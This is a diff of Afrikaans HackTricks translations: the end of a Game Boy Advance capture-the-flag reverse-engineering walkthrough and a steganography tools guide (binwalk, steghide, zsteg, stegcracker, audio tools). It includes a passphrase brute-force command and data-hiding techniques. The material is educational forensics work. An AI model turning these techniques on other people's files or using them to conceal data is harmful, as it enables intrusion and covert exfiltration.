FUN_08000354(&DAT_030000dc,0x3c);
|
||||
uVar4 = DAT_030004d8;
|
||||
```
|
||||
Dit is die kode wat gevind is:
|
||||
Dit is die kode gevind:
|
||||
```c
|
||||
do {
|
||||
DAT_030004da = uVar4; //This is the last key pressed
|
||||
|
@ -405,7 +347,7 @@ uVar2 = DAT_030004dc;
|
|||
uVar1 = *puVar6;
|
||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||
```
|
||||
Die laaste if-stelling kontroleer of `uVar4` in die laaste sleutels is en nie die huidige sleutel nie, wat ook genoem word om 'n knoppie los te laat (die huidige sleutel word gestoor in `uVar1`).
|
||||
Die laaste if kontroleer of **`uVar4`** in die **laaste Sleutels** is en nie die huidige sleutel is nie, ook genoem om 'n knoppie los te laat (die huidige sleutel word gestoor in **`uVar1`**).
|
||||
```c
|
||||
if (uVar1 == 4) {
|
||||
DAT_030000d4 = 0;
|
||||
|
@ -435,13 +377,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
```
|
||||
In die vorige kode kan jy sien dat ons **uVar1** (die plek waar die **waarde van die gedrukte knoppie** is) vergelyk met sekere waardes:
|
||||
|
||||
* Eerstens word dit vergelyk met die **waarde 4** (**SELECT**-knoppie): In die uitdaging vee hierdie knoppie die skerm skoon.
|
||||
* Daarna word dit vergelyk met die **waarde 8** (**START**-knoppie): In die uitdaging word hierdie knoppie gebruik om te kyk of die kode geldig is om die vlag te kry.
|
||||
* In hierdie geval word die var **`DAT_030000d8`** vergelyk met 0xf3 en as die waarde dieselfde is, word sekere kode uitgevoer.
|
||||
* In enige ander gevalle word daar gekyk na 'n kont (`DAT_030000d4`). Dit is 'n kont omdat dit 1 byvoeg net nadat die kode ingegaan is.\
|
||||
As dit minder as 8 is, word iets wat die byvoeging van waardes by \*\*`DAT_030000d8` \*\* behels, gedoen (basies word die waardes van die gedrukte sleutels in hierdie veranderlike bygevoeg solank die kont minder as 8 is).
|
||||
- Eerstens word dit vergelyk met die **waarde 4** (**SELECT** knoppie): In die uitdaging maak hierdie knoppie die skerm skoon.
|
||||
- Dan word dit vergelyk met die **waarde 8** (**START** knoppie): In die uitdaging word hierdie knoppie gebruik om te kyk of die kode geldig is om die vlag te kry.
|
||||
- In hierdie geval word die var **`DAT_030000d8`** vergelyk met 0xf3 en as die waarde dieselfde is, word sekere kode uitgevoer.
|
||||
- In enige ander gevalle word 'n kont (`DAT_030000d4`) nagegaan. Dit is 'n kont omdat dit 1 byvoeg net nadat die kode ingegaan is.\
|
||||
As minder as 8 iets wat die byvoeging van waardes aan \*\*`DAT_030000d8` \*\* behels, gedoen word (basies word die waardes van die gedrukte sleutels in hierdie veranderlike bygevoeg solank die kont minder as 8 is).
|
||||
|
||||
Dus moes jy in hierdie uitdaging, met kennis van die waardes van die knoppies, **'n kombinasie indruk met 'n lengte kleiner as 8 sodat die resulterende byvoeging 0xf3 is.**
|
||||
Dus, in hierdie uitdaging, deur die waardes van die knoppies te ken, moes jy **'n kombinasie indruk met 'n lengte kleiner as 8 waarvan die resulterende byvoeging 0xf3 is.**
|
||||
|
||||
**Verwysing vir hierdie handleiding:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
|
@ -454,23 +396,16 @@ Dus moes jy in hierdie uitdaging, met kennis van die waardes van die knoppies, *
|
|||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binêre deobfuscation)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,55 +2,53 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## **Data Uithaal uit Lêers**
|
||||
|
||||
### **Binwalk**
|
||||
'n Hulpmiddel om binêre lêers te soek vir ingebedde verskuilde lêers en data. Dit word geïnstalleer via `apt` en die bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
'n Gereedskap om binêre lêers te soek vir ingeslote verborge lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Foremost**
|
||||
Herstel lêers gebaseer op hul kop- en voetskrifte, nuttig vir png-beelde. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
|
||||
|
||||
Herstel lêers gebaseer op hul kop-en-staart-inligting, nuttig vir png-beelde. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
Helps om lêermetadata te sien, beskikbaar [hier](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
|
||||
Helps to view file metadata, beskikbaar [hier](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
Soortgelyk aan exiftool, vir metadata-siening. Installeerbaar via `apt`, bron op [GitHub](https://github.com/Exiv2/exiv2), en het 'n [amptelike webwerf](http://www.exiv2.org/).
|
||||
|
||||
Soortgelyk aan exiftool, vir metadatabesoek. Installeerbaar via `apt`, bron op [GitHub](https://github.com/Exiv2/exiv2), en het 'n [amptelike webwerf](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **Lêer**
|
||||
|
||||
Identifiseer die tipe lêer waarmee jy werk.
|
||||
|
||||
### **Strings**
|
||||
Onttrek leesbare strings uit lêers deur verskillende enkoderingsinstellings te gebruik om die uitset te filter.
|
||||
|
||||
Onttrek leesbare strings uit lêers, deur verskeie enkoderingsinstellings te gebruik om die uitset te filter.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -63,6 +61,7 @@ strings -e L -n 6 file # 32bit strings (little-endian)
|
|||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **Vergelyking (cmp)**
|
||||
|
||||
Nuttig vir die vergelyking van 'n gewysigde lêer met sy oorspronklike weergawe wat aanlyn gevind is.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
|
@ -70,78 +69,68 @@ cmp original.jpg stego.jpg -b -l
|
|||
## **Uithaling van Versteekte Data in Teks**
|
||||
|
||||
### **Versteekte Data in Spasies**
|
||||
Onsigbare karakters in ogieskynlik leë spasies kan inligting versteek. Om hierdie data uit te haal, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en outomatiseer met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
***
|
||||
Onsigbare karakters in ogenschijnlik leë spasies kan inligting verberg. Om hierdie data te onttrek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Uithaling van Data uit Beelde**
|
||||
|
||||
### **Identifiseer Beelddetails met GraphicMagick**
|
||||
### **Identifisering van Beelddetails met GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dien om beeldlêertipes te bepaal en potensiële korruptie te identifiseer. Voer die volgende bevel uit om 'n beeld te ondersoek:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) dien om beeldlêertipes te bepaal en potensiële korruptie te identifiseer. Voer die onderstaande bevel uit om 'n beeld te inspekteer:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Om 'n beskadigde prent te probeer herstel, kan dit help om 'n metadata-opmerking by te voeg:
|
||||
Om 'n beskadigde beeld te probeer herstel, kan dit help om 'n metadata opmerking by te voeg:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide vir Data Versteek**
|
||||
|
||||
Steghide maak dit maklik om data binne `JPEG, BMP, WAV, en AU` lêers te versteek, en is in staat om versleutelde data in te bed en te onttrek. Die installasie is eenvoudig met behulp van `apt`, en die [bronkode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide fasiliteer die versteek van data binne `JPEG, BMP, WAV, en AU` lêers, in staat om versleutelde data in te bed en te onttrek. Installasie is maklik met behulp van `apt`, en sy [bronkode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Opdragte:**
|
||||
- `steghide info lêer` onthul of 'n lêer versteekte data bevat.
|
||||
- `steghide extract -sf lêer [--passphrase wagwoord]` onttrek die versteekte data, wagwoord is opsioneel.
|
||||
|
||||
* `steghide info lêer` onthul of 'n lêer verskuilde data bevat.
|
||||
* `steghide extract -sf lêer [--wagwoord wagwoord]` onttrek die verskuilde data, wagwoord is opsioneel.
|
||||
|
||||
Vir web-gebaseerde onttrekking, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Bruteforce Aanval met Stegcracker:**
|
||||
- Om wagwoordkraking op Steghide te probeer, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
|
||||
|
||||
* Om wagwoordkraakpogings op Steghide te doen, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg vir PNG- en BMP-lêers**
|
||||
### **zsteg vir PNG en BMP-lêers**
|
||||
|
||||
zsteg spesialiseer in die ontdekking van verborge data in PNG- en BMP-lêers. Installasie word gedoen deur `gem install zsteg`, met die [bron op GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg spesialiseer daarin om verskuilde data in PNG- en BMP-lêers bloot te lê. Installasie word gedoen deur `gem install zsteg`, met sy [bron op GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Opdragte:**
|
||||
- `zsteg -a lêer` pas alle opsporingsmetodes toe op 'n lêer.
|
||||
- `zsteg -E lêer` spesifiseer 'n nutslading vir data-onttrekking.
|
||||
|
||||
* `zsteg -a lêer` pas alle opsporingmetodes op 'n lêer toe.
|
||||
* `zsteg -E lêer` spesifiseer 'n nuttelading vir data-ekstraksie.
|
||||
|
||||
### **StegoVeritas en Stegsolve**
|
||||
|
||||
**stegoVeritas** kontroleer metadata, voer beeldtransformasies uit en pas LSB-brute force toe, onder andere funksies. Gebruik `stegoveritas.py -h` vir 'n volledige lys van opsies en `stegoveritas.py stego.jpg` om alle kontroles uit te voer.
|
||||
**stegoVeritas** ondersoek metadata, voer beeldtransformasies uit, en pas LSB-brute forcing onder andere kenmerke toe. Gebruik `stegoveritas.py -h` vir 'n volledige lys van opsies en `stegoveritas.py stego.jpg` om alle kontroles uit te voer.
|
||||
|
||||
**Stegsolve** pas verskillende kleurfilters toe om verborge teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** pas verskeie kleurfilters toe om verskuilde teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT vir Ontdekking van Versteekte Inhoud**
|
||||
### **FFT vir Verskuilde Inhoudsopsporing**
|
||||
|
||||
Fast Fourier Transform (FFT) tegnieke kan verborge inhoud in beelde onthul. Nuttige bronne sluit in:
|
||||
Fast Fourier Transform (FFT) tegnieke kan verskuilde inhoud in beelde onthul. Nuttige bronne sluit in:
|
||||
|
||||
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
- [FFTStegPic op GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic op GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy vir Klank- en Beeldlêers**
|
||||
|
||||
Stegpy maak dit moontlik om inligting in beeld- en klanklêers in te bed, met ondersteuning vir formate soos PNG, BMP, GIF, WebP en WAV. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy maak dit moontlik om inligting in beeld- en klanklêers in te bed, met ondersteuning vir formate soos PNG, BMP, GIF, WebP, en WAV. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck vir PNG-lêeranalise**
|
||||
### **Pngcheck vir PNG-lêerontleding**
|
||||
|
||||
Om PNG-lêers te analiseer of hul egtheid te bevestig, gebruik:
|
||||
Om PNG-lêers te ontleed of hul egtheid te valideer, gebruik:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -150,54 +139,61 @@ pngcheck stego.png
|
|||
|
||||
Vir verdere verkenning, oorweeg om die volgende webwerwe te besoek:
|
||||
|
||||
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
- [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
- [OpenStego](https://www.openstego.com/)
|
||||
- [DIIT](https://diit.sourceforge.net/)
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Data Onttrekking uit Klanklêers**
|
||||
## **Data Uithaal uit Klanklêers**
|
||||
|
||||
**Klank steganografie** bied 'n unieke metode om inligting binne klanklêers te versteek. Verskillende gereedskap word gebruik vir die inbedding of herwinning van verborge inhoud.
|
||||
**Klanksteganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskeie gereedskap word gebruik vir die inbedding of herwinning van verborge inhoud.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
Steghide is 'n veelsydige gereedskap wat ontwerp is om data in JPEG, BMP, WAV en AU lêers te versteek. Gedetailleerde instruksies word verskaf in die [stego tricks dokumentasie](stego-tricks.md#steghide).
|
||||
|
||||
Steghide is 'n veelsydige gereedskap wat ontwerp is om data in JPEG, BMP, WAV, en AU lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego tricks dokumentasie](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
Hierdie gereedskap is versoenbaar met 'n verskeidenheid formate, insluitend PNG, BMP, GIF, WebP en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
Hierdie gereedskap is verenigbaar met 'n verskeidenheid formate, insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
ffmpeg is noodsaaklik vir die assessering van die integriteit van klanklêers, waarby gedetailleerde inligting beklemtoon word en enige afwykings uitgewys word.
|
||||
|
||||
ffmpeg is noodsaaklik vir die assessering van die integriteit van klanklêers, waarby gedetailleerde inligting uitgelig word en enige teenstrydighede aangedui word.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
WavSteg blink uit in die versteek en onttrek van data binne WAV-lêers deur die minst betekenisvolle bit-strategie te gebruik. Dit is toeganklik op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
|
||||
|
||||
WavSteg blink uit in die verberging en onttrekking van data binne WAV-lêers deur die gebruik van die minst beduidende bit-strategie. Dit is toeganklik op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
### **Deepsound**
|
||||
Deepsound maak dit moontlik om inligting binne klanklêers te versleutel en op te spoor deur gebruik te maak van AES-256. Dit kan afgelaai word vanaf [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
Deepsound maak dit moontlik om inligting binne klanklêers te enkripteer en op te spoor met behulp van AES-256. Dit kan afgelaai word vanaf [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
'n Onvervangbare instrument vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan verborge elemente onthul wat deur ander metodes nie opgespoor kan word nie. Besoek die [amptelike webwerf](https://www.sonicvisualiser.org/) vir meer inligting.
|
||||
|
||||
'n Onbetaalbare instrument vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan verborge elemente onthul wat nie deur ander metodes opgespoor kan word nie. Besoek die [ampstelike webwerf](https://www.sonicvisualiser.org/) vir meer inligting.
|
||||
|
||||
### **DTMF-tone - Kies-tone**
|
||||
Die opsporing van DTMF-tone in klanklêers kan bereik word deur aanlyn hulpmiddels soos [hierdie DTMF-opsporing](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html) te gebruik.
|
||||
|
||||
Die opsporing van DTMF-tone in klanklêers kan bereik word deur aanlyn gereedskap soos [hierdie DTMF-detektor](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Ander Tegnieke**
|
||||
|
||||
### **Binêre Lengte SQRT - QR-kode**
|
||||
Binêre data wat 'n heelgetal gee wanneer dit vierkant gemaak word, kan 'n QR-kode verteenwoordig. Gebruik hierdie snipper om te kontroleer:
|
||||
|
||||
Binêre data wat tot 'n heelgetal kwadreer, kan 'n QR-kode verteenwoordig. Gebruik hierdie snipper om te kontroleer:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
Vir binêre na beeld omskakeling, kyk na [dcode](https://www.dcode.fr/binary-image). Gebruik [hierdie aanlyn barkodeleser](https://online-barcode-reader.inliteresearch.com/) om QR-kodes te lees.
|
||||
### **Braille Vertaling**
|
||||
|
||||
### **Braille-vertaling**
|
||||
Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende bron.
|
||||
|
||||
## **Verwysings**
|
||||
|
@ -205,22 +201,16 @@ Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.br
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,52 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
